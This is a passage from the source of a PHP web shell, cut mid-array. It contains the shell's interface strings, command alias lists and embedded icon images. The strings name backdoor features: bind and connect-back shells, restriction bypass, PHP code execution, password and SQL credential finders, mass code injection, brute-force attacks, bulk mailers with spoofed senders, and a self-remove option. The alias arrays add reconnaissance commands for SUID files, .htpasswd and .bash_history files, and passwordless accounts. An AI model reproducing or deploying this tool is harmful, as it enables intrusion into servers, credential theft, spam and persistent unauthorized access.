MANUALLY\",\"106\"=>\"Month\",\"107\"=>\"Day\",\"108\"=>\"Year\",\"109\"=>\"Hour\",\"110\"=>\"Min\",\"111\"=>\"Sec\",\"112\"=>\"Change\",\"113\"=>\"Timestamp changed to [%1%]\",\"114\"=>\"Failed to change timestamp\",\"115\"=>\"REPLACE\",\"116\"=>\"WITH\",\"117\"=>\"Replace\",\"118\"=>\"Reset\",\"119\"=>\"Save\",\"120\"=>\"PROGRAM LINE\",\"121\"=>\"Full Hexdump\",\"122\"=>\"Hexdump Preview\",\"123\"=>\"CHANGE DIR'S PERMISSIONS:\",\"124\"=>\"CHANGE DIR'S TIMESTAMP:\",\"125\"=>\"BYPASS RESTRICTIONS - LIST DIR\",\"126\"=>\"DIR TO LIST\",\"127\"=>\"List Dir\",\"128\"=>\"BYPASS RESTRICTIONS - READ FILE\",\"129\"=>\"FILE TO READ\",\"130\"=>\"Read File\",\"131\"=>\"BYPASS RESTRICTIONS - READ FILE VIA SQL\",\"132\"=>\"USERNAME\",\"133\"=>\"PASSWORD\",\"134\"=>\"PORT\",\"135\"=>\"DATABASE\",\"136\"=>\"[-] ERROR! Can't select database\",\"137\"=>\"[-] ERROR! Can't connect to [%1%] server\",\"138\"=>\"BYPASS RESTRICTIONS - WRITE FILE\",\"139\"=>\"FILE TO WRITE\",\"140\"=>\"FILE CONTENT\",\"141\"=>\"Write File\",\"142\"=>\"SEARCH FOR FILES AND DIRS USING PHP\",\"143\"=>\"NAME\/FIND\/RECURSIVE\",\"144\"=>\"Files\",\"145\"=>\"Dirs\",\"146\"=>\"Both\",\"147\"=>\"Search\",\"148\"=>\"use regexp on name\",\"149\"=>\"SEARCH IN DIR\",\"150\"=>\"FIND TEXT IN FILE\",\"151\"=>\"use regexp on text\",\"152\"=>\"whole words only\",\"153\"=>\"case sensitive\",\"154\"=>\"files not containing the text\",\"155\"=>\"SEARCH TEXT IN FILES USING FIND\",\"156\"=>\"TEXT TO FIND\",\"157\"=>\"FIND IN FILES\",\"158\"=>\"DEFINED\/SEARCH IN\",\"159\"=>\"show in file manager\",\"160\"=>\"NOTHING FOUND\",\"161\"=>\"UPLOAD LOCAL FILE\",\"162\"=>\"LOCAL FILE\",\"163\"=>\"OPTIONAL RENAME\",\"164\"=>\"UPLOAD PATH\",\"165\"=>\"FILE LOCATION\",\"166\"=>\"MULTIPLE FILES\",\"167\"=>\"UPLOAD FILE FROM REMOTE URL\",\"168\"=>\"UPLOAD MULTIPLE FILES\",\"169\"=>\"Form\",\"170\"=>\"Upload\",\"171\"=>\"Invalid file location: [%1%]\",\"172\"=>\"Error uploading [%1%] (Can't move [%2%] to [%3%]\",\"173\"=>\"File [%1%] uploaded to [%2%]\",\"174\"=>\"Can't download file!\",\"175\"=>\"Can't write to [%1%]\",\"176\"=>\"File uploaded to [%1%]\",\"177\"=>\"SEND FILE TO E-MAIL\",\"178\"=>\"SEND TO\",\"179\"=>\"Send\",\"180\"=>\"COMMAND\",\"181\"=>\"DEFINED\",\"182\"=>\"EXECUTE PHP CODE\",\"183\"=>\"Execute PHP Code\",\"184\"=>\"Display Result in Textarea\",\"185\"=>\"FTP MANAGER\",\"186\"=>\"HOST:PORT\",\"187\"=>\"USER\",\"188\"=>\"PASS\",\"189\"=>\"Connect\",\"190\"=>\"Passive\",\"191\"=>\"Can't connect\",\"192\"=>\"PHP-SHELL\",\"193\"=>\"FTP\",\"194\"=>\"NEW DIR\",\"195\"=>\"Create\",\"196\"=>\"Disconnect\",\"197\"=>\"Upload\",\"198\"=>\"Download\",\"199\"=>\"Delete\",\"200\"=>\"DOWNLOAD FILE FROM REMOTE FTP\",\"201\"=>\"UPLOAD FILE TO REMOTE FTP\",\"202\"=>\"HOST:PORT\",\"203\"=>\"USER:PASS\",\"204\"=>\"FILE ON FTP\",\"205\"=>\"LOCAL FILE\",\"206\"=>\"Upload File\",\"207\"=>\"Download File\",\"208\"=>\"File uploaded.\",\"209\"=>\"Can't upload file.\",\"210\"=>\"File downloaded.\",\"211\"=>\"Can't download file.\",\"212\"=>\"PHP SIMPLE MAILER\",\"213\"=>\"PHP CSV MAILER\",\"214\"=>\"FROM NAME\",\"215\"=>\"FROM E-MAIL\",\"216\"=>\"E-MAIL SUBJECT\",\"217\"=>\"REPLACE\",\"218\"=>\"WITH\",\"219\"=>\"IN\",\"220\"=>\"E-MAIL COL\",\"221\"=>\"COL PREFIX\",\"222\"=>\"REPLACE IN\",\"223\"=>\"Select Value\",\"224\"=>\"From Name\",\"225\"=>\"From E-mail\",\"226\"=>\"Receiver's E-mail\",\"227\"=>\"Receiver's E-mail - hash\",\"228\"=>\"Subject\",\"229\"=>\"Message\",\"230\"=>\"Subject and Message\",\"231\"=>\"Random \\\"FROM E-MAIL\\\" usernames\",\"232\"=>\"Random Message-ID domains\",\"233\"=>\"Send E-mails\",\"234\"=>\"Preview (Don't send)\",\"235\"=>\"Show replaced values\",\"236\"=>\"INCOMPLETE DATA\",\"237\"=>\"NO\",\"238\"=>\"RECEIVER\",\"239\"=>\"SENDER\",\"240\"=>\"MESSAGE-ID\",\"241\"=>\"STATUS\",\"242\"=>\"REPLACING\",\"243\"=>\"Success\",\"244\"=>\"Failed\",\"245\"=>\"Test\",\"246\"=>\"HASH TYPE\",\"247\"=>\"ENTER HASH\",\"248\"=>\"Submit\",\"249\"=>\"Calculate\",\"250\"=>\"Clear Input\",\"251\"=>\"POSSIBLE\",\"252\"=>\"Link\",\"253\"=>\"IP ADDRESS ENCODER\",\"254\"=>\"ENTER IP\",\"255\"=>\"LONG IP\",\"256\"=>\"HEX IP\",\"257\"=>\"OCTAL IP\",\"258\"=>\"SELECT HASH\",\"259\"=>\"ENTER INPUT\",\"260\"=>\"All\",\"261\"=>\"HASH OUTPUT\",\"262\"=>\"STRING CONVERSIONS OUTPUT\",\"263\"=>\"Clear Output\",\"264\"=>\"Send Output to Input\",\"265\"=>\"BIND SHELL\",\"266\"=>\"CONNECT BACK\",\"267\"=>\"PASS:PORT:SRC\",\"268\"=>\"Bind\",\"269\"=>\"Found [%1%] of our backdoor tools in tempdir. Consider deleting tools after using them. \",\"270\"=>\"Delete Now\",\"271\"=>\"Can't write sources!\",\"272\"=>\"Unknown file!\",\"273\"=>\"Executed. Can't connect to [%1%]!\",\"274\"=>\"OK! Connect to [%1%]:[%2%]!\",\"275\"=>\"Port [%1%] already in use!\",\"276\"=>\"OK! The script is now connecting to [%1%]:[%2%]\",\"277\"=>\"PORTSCAN\",\"278\"=>\"HOST:PORT RANGE\",\"279\"=>\"Scan\",\"280\"=>\"VALID RANGE 0-65535\",\"281\"=>\"PHP-SHELL HUNTER\",\"282\"=>\"ACTION:RECURSIVE\",\"283\"=>\"FUNCTION:START PATH\",\"284\"=>\"View known shells only\",\"285\"=>\"View known shells + possible\",\"286\"=>\"Overwrite known shells with RC-Shell\",\"287\"=>\"Overwrite all with RC-Shell\",\"288\"=>\"PHP-SHELL RESULTS\",\"289\"=>\"PORTSCAN RESULT\",\"290\"=>\"Owned\",\"291\"=>\"Can't own it\",\"292\"=>\"FILE NAME\",\"293\"=>\"SHELL TYPE OR VERSION\",\"294\"=>\"EXTERNAL LINK\",\"295\"=>\"FILE ACTIONS \/ OVERWRITE\",\"296\"=>\"View in Browser\",\"297\"=>\"RC-OVERWRITE\",\"298\"=>\"CPANEL \/ PASSWORD FINDER\",\"299\"=>\"HOST:USER:SERVICE\",\"300\"=>\"FILES:METHOD:RECURSIVE\",\"301\"=>\"FUNCTION:DEFINED PATH\",\"302\"=>\"SEND LOG TO\",\"303\"=>\"Don't login (create passfile)\",\"304\"=>\"user + DEFINED PATH\",\"305\"=>\"user + DOCUMENT ROOT\",\"306\"=>\"\/etc\/passwd + USER HOMES\",\"307\"=>\"Find Passwords\",\"308\"=>\"CPANEL \/ PASSWORD FINDER RESULTS\",\"309\"=>\"MASS CODE INJECTOR\",\"310\"=>\"FILES:POS:RECURSIVE\",\"311\"=>\"FUNCTION:START IN PATH\",\"312\"=>\"CODE TO INJECT\",\"313\"=>\"Inject Files\",\"314\"=>\"CODE INJECTED IN FILES BELOW\",\"315\"=>\"FIND SQL CREDENTIALS\",\"316\"=>\"USER NAME:TYPE\",\"317\"=>\"PASS NAME:TYPE\",\"318\"=>\"DB NAME:TYPE\",\"319\"=>\"HOST NAME:TYPE\",\"320\"=>\"*SOFTWARE:PASSWORD\",\"321\"=>\"FILES:WHERE:RECURSIVE\",\"322\"=>\"FUNCTION:DEFINED PATH\",\"323\"=>\"Find Credentials\",\"324\"=>\"MySQL Test\",\"325\"=>\"DEFINED PATH\",\"326\"=>\"DOCUMENT ROOT\",\"327\"=>\"USER HOMES\",\"328\"=>\"required\",\"329\"=>\"optional\",\"330\"=>\"SQL CREDENTIALS\",\"331\"=>\"HOST\",\"332\"=>\"USER\",\"333\"=>\"PASS\",\"334\"=>\"DATABASE\",\"335\"=>\"ACTION\",\"336\"=>\"MySQL Connect\",\"337\"=>\"BRUTEFORCE \/ DICTIONARY ATTACK\",\"338\"=>\"HOST:PORT:SERVICE\",\"339\"=>\"USERNAME:DATABASE\",\"340\"=>\"DICTIONARY\",\"341\"=>\"TEST METHOD\",\"342\"=>\"ALSO TEST\",\"343\"=>\"username and dictionary\",\"344\"=>\"\/etc\/passwd (user:user)\",\"345\"=>\"\/etc\/passwd and dictionary\",\"346\"=>\"Start Bruteforce\",\"347\"=>\"[%1%] BRUTEFORCE RESULT\",\"348\"=>\"SYSTEM PROCESSES\",\"349\"=>\"SENDING SIGNAL [%1%] TO #[%2%].. \",\"350\"=>\"KILLED\",\"351\"=>\"CAN'T KILL IT\",\"352\"=>\"Databases\",\"353\"=>\"Query\",\"354\"=>\"Extract E-mails\",\"355\"=>\"Server Status\",\"356\"=>\"Server Variables\",\"357\"=>\"Processes\",\"358\"=>\"Disconnect\",\"359\"=>\"DATABASES\",\"360\"=>\"Database Name\",\"361\"=>\"Size\",\"362\"=>\"Tables\",\"363\"=>\"Database Actions\",\"364\"=>\"DATABASE\",\"365\"=>\"TABLE\",\"366\"=>\"DATABASE [%1%]\",\"367\"=>\"Databases ([%1%])\",\"368\"=>\"Table Name\",\"369\"=>\"Table Actions\",\"370\"=>\"SQL QUERY\",\"371\"=>\"Submit Query\",\"372\"=>\"EXTRACT E-MAILS\",\"373\"=>\"SEARCH TABLES<br>COMMA (,) SEPARATED<br>LEAVE EMPTY FOR ALL\",\"374\"=>\"FILE NAME\",\"375\"=>\"SAVE E-MAILS TO FILE\",\"376\"=>\"DOWNLOAD RESULTS\",\"377\"=>\"Extract E-mails\",\"378\"=>\"SERVER STATUS\",\"379\"=>\"SERVER VARIABLES\",\"380\"=>\"Name\",\"381\"=>\"Value\",\"382\"=>\"PROCESSES\",\"383\"=>\"ID\",\"384\"=>\"USER\",\"385\"=>\"HOST\",\"386\"=>\"DATABASE\",\"387\"=>\"COMMAND\",\"388\"=>\"TIME\",\"389\"=>\"STATE\",\"390\"=>\"INFO\",\"391\"=>\"ACTION\",\"392\"=>\"KILL\",\"393\"=>\"PROCESS #[%1%] KILLED\",\"394\"=>\"QUERY RESULT\",\"395\"=>\"BROWSING TABLE [%1%] ( [%2%] cols and [%3%] rows )\",\"396\"=>\"Previous\",\"397\"=>\"Page\",\"398\"=>\"Go\",\"399\"=>\"Next\",\"400\"=>\"INSERT INTO TABLE [%1%]\",\"401\"=>\"Field\",\"402\"=>\"Type\",\"403\"=>\"Function\",\"404\"=>\"Value\",\"405\"=>\"Insert as new row\",\"406\"=>\"or\",\"407\"=>\"Save\",\"408\"=>\"Confirm\",\"409\"=>\"TOTAL DATABASES [%1%]\",\"410\"=>\"QUICK SQL TABLE DUMP\",\"411\"=>\"SQL TYPE\",\"412\"=>\"HOST:PORT\",\"413\"=>\"USER:PASS\",\"414\"=>\"DB.TABLE\",\"415\"=>\"FILE NAME\",\"416\"=>\"DOWNLOAD RESULTS\",\"417\"=>\"SAVE DUMP TO FILE\",\"418\"=>\"Dump\",\"419\"=>\"Can't connect to SQL server\",\"420\"=>\"QUICK SQL QUERY\",\"421\"=>\"DB\",\"422\"=>\"Query\",\"423\"=>\"QUERY #[%1%] : [%2%]\",\"424\"=>\"NONE\",\"425\"=>\"Chdir\",\"426\"=>\"Total: [%1%]\",\"427\"=>\"Success: [%1%]\",\"428\"=>\"Failed: [%1%]\",\"429\"=>\"Used: [%1%]\",\"430\"=>\"Not Available\",\"431\"=>\"The following e-mails were not sent\",\"432\"=>\"HASH CALCULATOR\",\"433\"=>\"STRING CONVERSIONS\",\"434\"=>\"HOST:PORT:SRC\",\"435\"=>\"Connect\",\"436\"=>\"Find Shells\",\"437\"=>\"DO YOU REALLY WANT TO DROP DATABASE \\\"[%1%]\\\" ? \",\"438\"=>\"DO YOU REALLY WANT TO DROP TABLE \\\"[%1%]\\\" ? \",\"439\"=>\"DO YOU REALLY WANT TO EMPTY TABLE \\\"[%1%]\\\" ? \",\"440\"=>\"SQL DUMP\",\"441\"=>\"DATABASE\",\"442\"=>\"DUMP TABLES<br>COMMA (,) SEPARATED<br>LEAVE EMPTY FOR ALL\",\"443\"=>\"FILE NAME\",\"444\"=>\"SAVE DUMP TO FILE\",\"445\"=>\"DOWNLOAD RESULTS\",\"446\"=>\"Dump\",\"447\"=>\"Can't select database\",\"448\"=>\"Nothing to dump\",\"449\"=>\"Dumped to [%1%]\",\"450\"=>\"Can't write to file.\",\"451\"=>\"SQL MANAGER\",\"452\"=>\"HOST:PORT\",\"453\"=>\"USER\",\"454\"=>\"PASS\",\"455\"=>\"DB\",\"456\"=>\"TYPE\",\"457\"=>\"Connect\",\"458\"=>\"Can't create dump\",\"459\"=>\"Dumped\",\"460\"=>\"SELF REMOVE\",\"461\"=>\"DO YOU REALLY WANT TO DELETE ME? \",\"462\"=>\"GOOD BYE\",\"463\"=>\"Can't delete [%1%]\",\"464\"=>\"CAN'T LIST [%1%]\",\"465\"=>\"Free: [%1%]\",\"466\"=>\"FILE [%1%] DOESNT EXIST.\",\"467\"=>\"YOU ARE TRYING TO OPEN A DIRECTORY AS A FILE ([%1%])\",\"468\"=>\"TARGET ALREADY EXISTS (DIRECTORY [%1%])\",\"469\"=>\"FILE NOT SPECIFIED\",\"470\"=>\"Return\",\"471\"=>\"Your browser doesnt support iframes.\",\"472\"=>\" (CWD SPECIFIED AS A FILE)\",\"473\"=>\"RENAME [%1%]\",\"474\"=>\"RENAMED TO [%1%]\",\"475\"=>\"CANNOT RENAME [%1%]\",\"476\"=>\"EXTRACTED ZIP ARCHIVE [%1%]\",\"477\"=>\"CANNOT EXTRACT [%1%]\",\"478\"=>\"Extract [%1%]\",\"479\"=>\"GENERAL INFORMATION\",\"480\"=>\"PHP INFORMATION\",\"481\"=>\"OTHER USEFULL STUFF\",\"482\"=>\"Interesting files\",\"483\"=>\"Interesting configs\",\"484\"=>\"Interesting bins\",\"485\"=>\"Scripting languages\",\"486\"=>\"PAGE GENERATED IN [%1%] SECONDS\",\"undefined\"=>\"?\",);$winaliases=array(''=>'dir','- show open ports'=>'netstat -nat','- running programs'=>'tasklist -v','- running services'=>'net start','- show users'=>'net user','- show computers'=>'net view','- arp table'=>'arp -a','- ip config'=>'ipconfig \/all','- mac address'=>'getmac','- systeminfo'=>'systeminfo','- file associations'=>'assoc');$nixaliases=array(''=>'ls -la','console downloaders'=>'which wget GET ftp curl w3m lynx','cpu info'=>'cat \/proc\/version \/proc\/cpuinfo','gcc compiler'=>'locate gcc','logged in users'=>'w','active users (from lastlog)'=>'lastlog|grep -v \\'\\\\*\\\\*\\'','last logins (last -a)'=>'last -a','users without password'=>'cut -d: -f1,2,3 \/etc\/passwd | grep ::','list file attributes'=>'lsattr -va','show open ports (from netstat)'=>'netstat -nat | grep -i listen','active connections (from lsof)'=>'lsof -i',);$findaliases=array('find suid files'=>'find %path% -type f -perm -04000 -ls 2>\/dev\/null','find sgid files'=>'find %path% -type f -perm -02000 -ls 2>\/dev\/null','find writable dirs'=>'find %path% -perm -2 -type d -ls 2>\/dev\/null','find writable files'=>'find %path% -perm -2 -type f -ls 2>\/dev\/null','find writable links'=>'find %path% -perm -2 -type l -ls 2>\/dev\/null','find writable dirs\/files\/links'=>'find %path% -perm -2 -ls 2>\/dev\/null','find config* files'=>'find %path% -type f -name \\'config*\\'','find config.php files'=>'find %path% -type f -name config.php','find config.inc.php files'=>'find %path% -type f -name config.inc.php','find service.pwd files'=>'find %path% -type f -name service.pwd','find .htpasswd files'=>'find %path% -type f -name .htpasswd','find .bash history'=>'find %path% -type f -name .bash_history','find .mysql history'=>'find %path% -type f -name .mysql_history','find fetchmailrc'=>'find %path% -type f -name .fetchmailrc');$filealiases=array('html'=>array('html','htm','shtml'),'text'=>array('html','htm','shtml','css','js','txt','conf','bat','bak','doc','log','sfc','cfg','readme','todo','changelog','makefile','cmake','copying','authors','motd','news','install','about','htaccess'),'exe'=>array('sh','bat','cmd','exe','pl','py'),'ini'=>array('ini','inf'),'code'=>array('php','phtml','php3','php4','php5','pl','cgi','c','cc','cpp','h','hpp','icl','ipp'),'img'=>array('gif','png','jpeg','jfif','jpg','jpe','bmp','ico','tif','tiff'),'sdb'=>array('sdb'),'sess'=>array('sess'),'download'=>array('sql','3g2','3ga','3gp','3gpp','669','7z','aac','ac3','ace','aif','aifc','aiff','amr','ape','arj','asf','asx','au','avi','awb','axa','axv','bdm','bdmv','bz','bz2','cab','clpi','com','cpi','doc','dot','divx','dmg','dv','exe','fla','flac','flc','fli','flv','gsm','gz','iso','it','kar','lha','lnk','lzh','m15','m2t','m2ts','m3u','m3u8','m4a','m4b','m4v','med','mid','midi','minipsf','mka','mkv','mng','mo3','mod','moov','mov','movie','mp+','mp2','mp3','mp4','mpc','mpe','mpeg','mpg','mpga','mpl','mpls','mpp','mtm','mts','nrg','nsv','oga','ogg','ogm','ogv','pbk','pif','pla','pls','psf','psflib','psid','qt','qtvr','r00','ra','rar','rax','rv','rvx','s3m','sid','snd','spx','src','stm','swf','tar','tbz','tbz2','tgz','ts','tta','ult','uni','uu','uuf','viv','vivo','vlc','vob','voc','wav','wax','wma','wmv','wmx','wri','wv','xla','xlc','xld','xlsb','xll','xlm','xls','xlt','xlsm','xlw','xltm','wvc','wvp','wvx','xi','xm','xmf','xxe','zip'));$execaliases=array('sh %f%'=>array('sh'),'perl %f%'=>array('pl','cgi'),'python %f%'=>array('py'),'php %f%'=>array('php','php3','php4','php5'));$getaliases=array('wget'=>'[%1%] [%2%] -O [%3%]','fetch'=>'[%1%] -p [%2%] -o [%3%]','lynx'=>'[%1%] -source [%2%] > [%3%]','links'=>'[%1%] -source [%2%] > [%3%]','GET'=>'[%1%] [%2%] > [%3%]','curl'=>'[%1%] [%2%] -o [%3%]');$index=array(\"xls\"=>array('xla','xlc','xld','xlsb','xll','xlm','xls','xlt','xlsm','xlw','xltm'),\"pl\"=>array(\"pl\",\"cgi\"),\"diz\"=>array(\"diz\",\"inf\"),\"h\"=>array(\"h\",\"hpp\"),\"iso\"=>array(\"iso\",\"nrg\",\"dmg\"),\"tar\"=>array(\"tar\",\"r00\",\"ace\",\"arj\",\"bz\",\"bz2\",\"tbz\",\"tbz2\",\"tgz\",\"uu\",\"xxe\",\"zip\",\"cab\",\"gz\",\"lha\",\"lzh\",\"pbk\",\"rar\",\"uuf\",\"7z\"),\"php\"=>array(\"php\",\"php3\",\"php4\",\"php5\",\"phtml\",\"shtml\"),\"jpg\"=>array(\"jpg\",\"gif\",\"png\",\"jpeg\",\"jfif\",\"jpe\",\"bmp\",\"ico\",\"tif\",\"tiff\"),\"html\"=>array(\"html\",\"htm\",\"asp\",\"xhtml\"),\"avi\"=>array('ogm','mpeg','bdmv','qtvr','ogv','cpi','m2ts','movie','asf','mpls','mkv','avi','rvx','qt','mp2','mp4','divx','mng','axv','rv','mov','moov','mpe','mpl','mpg','ts','nsv','3g2','3ga','mts','m2t','3gp','3gpp','vivo','m4v','flc','bdm','fli','viv','flv','wmv','clpi','vob','dv','ogg'),\"doc\"=>array(\"doc\",\"dot\",\"wri\"),\"txt\"=>array(\"txt\",\"log\",\"conf\",\"cfg\",\"vbs\",\"ini\"),\"js\"=>array(\"js\"),\"cmd\"=>array(\"cmd\",\"bat\",\"pif\",\"exe\",\"sh\",\"makefile\"),\"wri\"=>array(\"wri\",\"rtf\"),\"swf\"=>array(\"swf\",\"fla\"),\"mp3\"=>array('amr','m3u8','med','spx','spx','kar','mpga','pla','it','ape','tta','pls','stm','mid','s3m','asx','mka','awb','psf','aifc','mo3','aiff','mp+','axa','mp2','mp3','ra','mod','wav','wax','mpc','midi','mpp','m15','psid','wv','mtm','xi','xm','m3u','m4b','m4a','aac','ac3','xmf','rax','minipsf','wma','wmx','vlc','ult','669','sid','voc','gsm','au','uni','flac','aif','snd','psflib','wvc','oga','wvp','ogg','wvx'),\"cpp\"=>array(\"cpp\",\"c\",\"cc\",\"cxx\"),\"css\"=>array('css'),\"htaccess\"=>array(\"htaccess\",\"htpasswd\",\"ht\",\"hta\"),);$images=array(\"ok\"=>\"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8\/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAADoSURBVDiNrZOxboNADIY\/08CAunTIQBakSLRbH6Qv0XfrQ\/QBmLM1iqIMERnaDqxcJsBdOHQhXJOI\/JJ1Z8v32z7boqpMQTDpNTDz2OfA08BmgO8zT1Udkwz4BUoreZ6\/qqoMfX0ZAByA0CpJktSXSlgAj45+dAk6ZN1ZAT8A4nThWUQ+Hec94LZoCUhX9huwG2YA8DWWZof1pRJs2jfhrgSVqq6sEobhS13XD1Y3xmziOO597UU8o5yJyDvQExRF8ZGm6ZbTj\/XPQRAEx7Zte4IoikYj+QiqpmlKTnfFDKP\/V8LVmLyNf9lXY6ltlYsrAAAAAElFTkSuQmCC\",\"cancel\"=>\"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8\/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAHlSURBVDiNpZPPa9NwGMafLkn3HVkDapMsAxEKbbdBmafSi3eZjkXBH8yTMGGwQ4\/7CwaDnXqdB0\/dFmWhhQqyywZeJJc5ehiYMZAeSlqt0EUy2qavB1sJkSLSF97Lw\/t8+PI8fCNEhHFmYiz3CIACIAFADGjiQFP+BZjZy2X17SlWvjCM9MAoXhhGenuKlfdyWR3ATNAQCWSgGPdyeuPzWUHleVbzfXvl9ZvnAFB+9fLgNsclnV7vWrm7mH\/28VMJQCMMSBTnU6bWbi1yEeDK7+Oy07MBIBHlkzFuAj4Bdenm2YvzL48BXIYBYsepr1T1+\/luw8kCQLvnAwAkngMACIpqZUofClFVKwP4GQYAgNRxnIf20wf5zrffkOFE46qVfPu+EFXVCoD2qBB959Sya543zRiP4NY8b9o5tWwA\/qgWxHrFTB9vrBXlvrcwyQQEV+57C8cba8V6xRy281cLiXeZO6X5WDRzgwkAAO6WbAGA\/72ZBYAf112cX3WqT6pf9WGIwRe4S1s7+1o85jImQJzVLHn3sCDvHhbEWc1iTIAWj7lLWzv7ANw\/LiIK7lz3yNx015dPqNVcJSKJiCRqNVfd9eWT7pG5SURzQU8YACJKEdGjgXmoSQMtFb4P1\/jfM\/Zv\/AXVzv8RqSjGwgAAAABJRU5ErkJggg==\",\"small_home\"=>\"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8\/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A\/wD\/oL2nkwAAAAlwSFlzAAAN1wAADdcBQiibeAAAAAd0SU1FB9oIEwwzMaECujcAAAHfSURBVDjLlZI9a1RREIafc+\/Zm4vJLnZqKVY2QREXQcEitikC9jYBBcu0KdPmN0hgsRFsBP+AhsAWpkw2RBAhEgORDexm7545Z8Zio+ayUcwLp5l55jAfrzMz7q69ewM8pa73wNL26mLgH3JnH9iDm9exzE2iCr3DE\/qj0yEQL6gz4PX26uJL96LTfdTdP\/wwf8NPUZpAbbpaDXrHSe\/fuvbYRwnra0t3mCsLLqNBFbK3n76u+6ix\/X0w5vPxcAqaaeRYMoLqVG5uxhM1tn2KwkklU8CVwpObQQYuzzkN9VWcVEKKgq9EEakPOlvkODVebe4A8OzhbQqXMQypxlWiZKJGSPr7lUVG5mBjcwcrm1jZZGNzh8xBWWQ1VtTIqqhEhaiTtj3Q2drFyiatsqBVFljZpLO1iz8b7RdfRSVTi0RTcu9oOKPzcZdRNFrnrtIqC0Zxkms4I\/eOaIpaJBMRJBqSjKLhWV6YR8J4aqkSxiwvzFM0PJJsUiNCllJCkjEYRXpHQ2LSv94+JqV3NGQwikgyUkp4ESE5q7kM4ODbwYUOPM+KCF5jYBz\/BPsh8vzJvQs76IdYYzUGvGjqHh3\/aF+dnQNg7yD8l5X7wwGiqeuTjFf2v+ytA20upy6w8hMQ\/yfbalvVkgAAAABJRU5ErkJggg==\",\"small_dir\"=>\"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8\/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A\/wD\/oL2nkwAAAAlwSFlzAAAN1wAADdcBQiibeAAAAAd0SU1FB9oIEwwxI2CNqf0AAAEVSURBVDjLpZC9SgNREIXPhkEFU9ippdiLFi4Wgk+QIuBDCJZpU6bdtwg2go3gC9htYepIBLGKQiSBRO\/e+bOIjUSEvX7lMOfjzGTujqPe7TWAc\/zkDkB70G1F\/EH2LfCTvR14I1tODRiOZ5h+fiwAyC85B3A16LYus4t+eVqOxvcHu7SyZQqYr6bNgeFE7Xh\/+4yEY9FrH6K5sYY6zENs3Dy8FCQm+eu8wtNkUUvQXCeISU4qjFlg1GUWGCoMCmxgdqQQ2EBsjqiWJGBzUBCDpOURxEDmAvE0g7mAmBksaT9gZpCqgjVNoKrLBpr9o4FJRJV4gkkEsWn5NnnPtzabtcLTxRxsWpJy1Rk9PxYA8poFSgCdLzKTqNoRW0z8AAAAAElFTkSuQmCC\",\"doc\"=>\"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8\/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAGUSURBVDiNjZPBSltBFIb\/3AzEC4UgzIAMFCQ3pQsVXSXBl+kzFO2mG+miW58hYHd9CzdJNgpXQdQsNJEkNMGF0KJ3zszpIrlDkns1DgwMh5n\/+\/9zmMLB8enX9uXw5\/3gKQSA30fbcM5h1QqCIBZCHBb2v\/z6Z4sfws2PGkGxiJPvu2DmNx8TEfr9Pkaj0YW4e\/gTVj9rnF0\/wjqGMQZEtNKB1hq9Xm9HsE0wmPyFdVMqM4OZ0Wq1AABKKYzHY\/9QKYVqtQpmhrUWgm0CosRfSAUajYavRVG0QE8jEhEE3AvgTEag2+168ryL1AEAGGMgnDXgOYFUJIqiBfL8OXVgrYWAS3IdtNvtBbpSKhOFiKY94ByBer3ua5VKZYG8JGAAm43wnjUVcPkOOp2Or0kpAQCTyQRSSh9lNgWT24NarZYhLkeZOcifQupASunJWmuEYZjtgbMvKBSCVx2k5GU6ESHQG+vP5qkPts+AM17grZ0kCeI4hhDiRuxtffpxFl8dDYfnawDQbDbf9ZlKpdJtuVz+9h\/x5jl687x8uQAAAABJRU5ErkJggg==\",\"pdf\"=>\"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8\/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAKcSURBVDiNdZPPa5RnEMc\/77vP7vtmX2NYYjC+sBqkrRBMhB5KURoQCeKh9KZ\/gRehhWo8VFAEQT2ICXpI24NRkZJSFIm0J08bKKVpxKwpLe4pCUKaKmv257vv+8zzeNgkGkgG5jTDZ2a+M+PMzMwMa61vGGMG2cbsmxXs3J+4R44hl86QunATN9ddVEqNOIVCodjb2zuQz+dRSm0JiO+MkTr4KcmTSZxwL6nTIywtLbG8vPxCxXE8EIYhWmu01lsCWlOTpDId6D8K+L9Mo7UmDEMWFxcHlIhgjNmue+yrRZIXz5HoR\/zxh1jPB2ux1iIiKK011tptAfGvDxFSeFduQ5jflNtsNlFJkmwNsJbkt0c0fxgFV+H2H9qUF0UR5XIZV0Sway2te1x4SuXkMMncLBIn6HoDG7c24o1Gg3K5jNa6PYKJIqT0D\/Lv37Qe\/4wT7CB7fZxU337qE9+DAXn7FndXD\/V6nWq1CtDWoHzhW17HNTKHh8h8cZTs1Vuk8vsAMJVVJGkLXJufI+ofREQ2xhARlP3oAE6rhkQtjOPi7gmx1mKMIV75D1lbUO33afikf5NMnuehmse\/RE6cwFhDcv8Oq6e+gsvXsN09sLAAawDn+TM8z8PzPKIowvd9HMdBBUFALpdrV\/36LMmRIWrfnWPnT4+QIKCyDpj9i07RGBUA4Ps+WmtcrTWO4+C6LkopOj77nMzhIWTqMf6+PkRABHSjRfXeBFEUkU6nsda+B6zfwrp3nvmGyoP7uN27MCqDGBADlbsTxLUq6XSaJEnaAKXUy2KxSBzHGwCyWejciayuwu5wAxCv\/E\/94kW01hSLRZRSL1UQBOdLpdKN+fn5jz9UuK4tmbFRGk6K5MNXmZoiK4bc8HCpq6vr\/DvKaYMHJvkNngAAAABJRU5ErkJggg==\",\"iso\"=>\"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQ